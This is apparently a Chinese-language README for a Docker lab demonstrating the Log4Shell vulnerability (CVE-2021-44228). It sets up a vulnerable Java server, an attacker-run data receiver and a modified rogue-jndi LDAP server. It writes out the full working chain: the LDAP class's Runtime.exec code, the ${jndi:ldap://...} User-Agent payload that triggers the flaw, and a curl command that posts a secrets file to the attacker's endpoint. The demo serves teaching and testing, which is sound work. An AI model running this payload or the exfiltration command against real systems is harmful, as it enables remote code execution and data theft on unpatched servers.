CVE-2021-44228-docker-example

这是一个关于 CVE-2021-44228 的简单演示，演示如何将数据从易受攻击的服务器传输到由攻击者控制的 Web 服务。所有涉及的组件均通过 Docker 运行。

组件

这是一个充当受害者的标准 Java 服务器。它运行：

使用此配置时，该服务器是易受攻击的。

其他信息：

passwords.txt 的内容：

my secret

这是一个充当攻击者数据收集器的标准 Java 服务器。它运行：

其他信息：

这是一个由 rogue-jndi 提供支持的 LDAP 服务器。其 ExportJava 类已被修改，使得通过 -c 标志传递的命令得以执行。

public ExportObject() {
    try {
        Runtime.getRuntime().exec(Config.command);
    } catch(Exception e) {
        e.printStackTrace();
    }
}

当易受攻击的服务器请求时，它将响应一个类，该类在实例化时会运行以下命令：

curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt

这实际上会将 /foo/passwords.txt 的内容提交到恶意接收器预先准备好的端点。

通过运行以下命令触发漏洞：

curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging

通过运行以下命令检查恶意接收器组件的日志输出：
```
docker logs --timestamps docker_malicious-receiver_1
```
日志中应包含服务器 passwords.txt 文件的内容。
通过运行以下命令停止组件容器：
```
./stop.sh
```